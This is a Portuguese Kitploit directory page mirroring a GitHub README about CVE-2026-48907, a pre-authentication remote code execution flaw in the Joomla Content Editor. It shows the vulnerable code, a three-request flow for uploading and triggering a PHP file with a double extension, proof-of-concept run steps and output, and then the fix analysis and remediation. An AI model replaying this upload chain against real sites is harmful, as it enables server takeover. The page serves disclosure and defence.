Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48907 — CVE-2026-48907 é um RCE (Execução Remota de Código) pré-autenticação com CVSS 10.0 no Editor de Conteúdo do Joomla, afetando todas as versões ≤ 2.9.99.4. A equipe Grayxploit detalha a cadeia de 3 fraquezas — falta de autenticação, ausência de validação de extensão e uma flag de upload insegura — que permite que atacantes obtenham um shell em 3 requisições HTTP. | Kitploit
Ferramentas/GitHubGitHub/grayxploit/cve-2026-48907
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubgrayxploit/cve-2026-48907

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

CVE-2026-48907

Ver Repositório
há 1 mêsAinda não revisado

CVE-2026-48907 é um RCE (Execução Remota de Código) pré-autenticação com CVSS 10.0 no Editor de Conteúdo do Joomla, afetando todas as versões ≤ 2.9.99.4. A equipe Grayxploit detalha a cadeia de 3 fraquezas — falta de autenticação, ausência de validação de extensão e uma flag de upload insegura — que permite que atacantes obtenham um shell em 3 requisições HTTP.

Compartilhar

CVE-2026-48907 — RCE não autenticada no Joomla Content Editor (JCE) ≤ 2.9.99.4

Exploit de prova de conceito para CVE-2026-48907 — uma vulnerabilidade de execução remota de código CVSS 10.0 sem pré-autenticação na extensão Joomla Content Editor (JCE).
Pesquisa por Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Índice

  • Visão Geral
  • Versões Afetadas
  • Detalhes da Vulnerabilidade
  • Fluxo do Ataque
  • Prova de Conceito
  • Análise da Correção
  • Remediação
  • Linha do Tempo
  • Referências
  • Aviso Legal

Visão Geral

CVE-2026-48907 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta a extensão Joomla Content Editor (JCE) — o editor Joomla mais amplamente instalado — em todas as versões até e incluindo 2.9.99.4.

Ao encadear três fraquezas de segurança independentes no fluxo de importação de perfis do JCE, um atacante completamente não autenticado pode:

  • Carregar um webshell PHP arbitrário no diretório /tmp/ do servidor
  • Acionar a execução desse webshell via HTTP
  • Alcançar Execução Remota de Código (RCE) completa sem credenciais, sem interação do usuário e sem posição especial na rede

O ataque requer apenas 3 requisições HTTP e funciona em qualquer instalação padrão do Joomla executando uma versão vulnerável do JCE.

Pontuação CVSS v4: 10.0 — Crítica

Descoberta e divulgada publicamente pela equipe de pesquisa de segurança Grayxploit após divulgação responsável.


Versões Afetadas

SoftwareVersões VulneráveisVersão Corrigida
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (recomendada)

Nota: A 2.9.99.5 introduziu a correção principal. A 2.9.99.6 adicionou camadas extras de hardening. Atualize para 2.9.99.6 ou superior.


Detalhes da Vulnerabilidade

A vulnerabilidade tem origem no endpoint de importação de perfis do JCE:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

O JCE permite que administradores exportem e importem perfis de editor como arquivos XML. O manipulador de importação é acessível sem autenticação e aceita uploads de arquivos arbitrários devido a uma cadeia de três fraquezas independentes.

Fraqueza 1 — Autorização Ausente (CWE-862)

O controlador de importação não realizava verificação de ACL:

root@kitploit:~
public function import()
{
    // Única barreira: token CSRF — facilmente contornável
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … vai direto para manipulação de arquivos — sem verificação authorise()
}

O Joomla incorpora o token CSRF em cada página pública como uma meta tag ou variável JS:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Um atacante simplesmente busca a página inicial, extrai o token e o reutiliza. A verificação CSRF impede requisições entre sites — ela não impede requisições scriptadas diretas. Não havia chamada a Factory::getUser() ou $user->authorise(...) em nenhum lugar do caminho de importação.


Fraqueza 2 — Ausência de Validação de Extensão de Arquivo (CWE-434)

O manipulador de upload usava File::makeSafe() que apenas remove caracteres ilegais do sistema de arquivos — não valida ou restringe extensões de arquivo:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // remove caracteres ilegais apenas

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Um nome de arquivo como shell.xml.php passa por File::makeSafe() sem alterações. O mod_php do Apache o executa porque a última extensão reconhecida é .php. Extensões como .php, .php5, .phtml e variantes de barras duplas eram todas aceitas.


Fraqueza 3 — File::upload() Chamado com $allow_unsafe = true (CWE-116)

O File::upload() do Joomla possui uma lista negra de extensões embutida que bloqueia tipos de arquivo perigosos quando $allow_unsafe = false (o padrão):

root@kitploit:~
// Assinatura do File::upload() do Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

O código vulnerável do JCE desabilitou explicitamente essa rede de segurança:

root@kitploit:~
// VULNERÁVEL — uploads inseguros explicitamente habilitados
File::upload($source, $destination, false, true);

Este único booleano desligou toda a lista negra interna de extensões do Joomla, permitindo que .php, .php5, .phtml e todas as outras extensões executáveis fossem escritas no disco.


Fluxo do Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extrair csrf_token do HTML/JS                            │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (arquivo gravado em /var/www/html/tmp/)            │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Resposta: "3105"  (45 × 69 = RCE confirmado ✓)           │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  Sem cookie de sessão. Sem nome de usuário. Sem senha. 3 requisições HTTP.

Prova de Conceito

⚠️ Esta PoC é fornecida estritamente para pesquisa de segurança autorizada e testes de penetração. Não use contra qualquer sistema sem permissão explícita por escrito. O uso não autorizado é ilegal e antiético.

Requisitos

root@kitploit:~
pip3 install requests

Uso

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Saída Esperada (Alvo Vulnerável)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


Análise da Correção

Todas as três fraquezas foram corrigidas no JCE 2.9.99.5, com hardening adicional enviado no 2.9.99.6.

Correção 1 — Verificação de Autorização Adicionada (Remediação CWE-862)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Usuários convidados (id = 0) falham authorise() imediatamente. A requisição é rejeitada antes de qualquer manipulação de arquivo.

Correção 2 — Lista Branca Estrita de Extensões (Remediação CWE-434)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION retorna apenas a extensão final. shell.xml.php → php → rejeitado. Neutraliza todos os bypasses de extensões múltiplas.

Correção 3 — Flag Insegura Removida (Remediação CWE-116)

root@kitploit:~
// Antes (vulnerável)
File::upload($source, $destination, false, true);

// Depois (corrigido)
File::upload($source, $destination, false);

A lista negra interna de extensões do Joomla é reativada como uma camada de defesa independente.

Hardening Adicional no 2.9.99.6

CorreçãoDetalhe
Limite de tamanho de uploadRejeita arquivos > 512 KB
Proteção contra XXElibxml_disable_entity_loader(true) backportado para PHP 7.x
Lista branca de campos XMLApenas chaves XML conhecidas e seguras são processadas; chaves arbitrárias são ignoradas silenciosamente

Remediação

Desabilitar PHP em /tmp/ via .htaccess

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Linha do Tempo


Referências

  • NVD — CVE-2026-48907
  • Grayxploit Blog — Artigo Completo
  • Site Oficial do JCE
  • Advisory de Segurança Joomla
  • CWE-862: Autorização Ausente
  • CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso

Aviso Legal

Este repositório destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes de penetração em sistemas que você possui ou para os quais tem permissão explícita por escrito.

A equipe Grayxploit não é responsável por qualquer uso não autorizado, ilegal ou malicioso do código ou das informações fornecidas neste repositório.

Use com responsabilidade. Teste legalmente.


Licença

Este projeto está licenciado sob a Licença MIT.


   



Achou isso útil? Mostre seu apoio.

Cada estrela ajuda esta pesquisa a alcançar mais defensores, pentesters e equipes azuis que precisam dela.


   




Sobre a Grayxploit

Grayxploit é uma equipe independente de pesquisa de segurança focada em descoberta de vulnerabilidades, desenvolvimento de exploits e divulgação responsável em plataformas web, ecossistemas CMS e software de código aberto.

Baixar ferramenta
PrioridadeAção
🔴 ImediataAtualizar JCE para ≥ 2.9.99.6
🟠 AltaBloquear ou restringir acesso web a /tmp/ no nível do servidor
🟠 AltaDesabilitar execução PHP em diretórios temporários via .htaccess ou configuração do servidor
🟡 MédiaAdicionar regra WAF para alertar/bloquear com_jce&task=profiles.import de sessões não autenticadas
🟡 MédiaAuditar outras extensões Joomla quanto a File::upload(..., true) sem validação de extensão
DataEvento
2026-05-XXVulnerabilidade descoberta pela equipe de pesquisa Grayxploit
2026-05-XXDivulgação responsável submetida aos mantenedores do JCE
2026-06-XXCVE-2026-48907 atribuído pela MITRE
2026-06-XXJCE 2.9.99.5 lançado — correção principal
2026-06-12JCE 2.9.99.6 lançado — hardening adicional
2026-06-12Divulgação pública pela Grayxploit
Nós EncontramosNós DivulgamosVocê Defende
RCEs sem autenticaçãoResponsável e publicamenteCom nossa análise detalhada da correção
Falhas de lógicaCom análise completa da causa raizUsando nossas PoCs com segurança
Vulnerabilidades encadeadasAntes da exploração em massa começarMais rápido que os atores de ameaças

Tem uma dica ou quer colaborar? Abra uma Issue ou entre em contato pelo nosso perfil no GitHub.



CVE-2026-48907 — Pesquisa original por

🔐 Grayxploit Security Team

Quebrando coisas. Responsavelmente.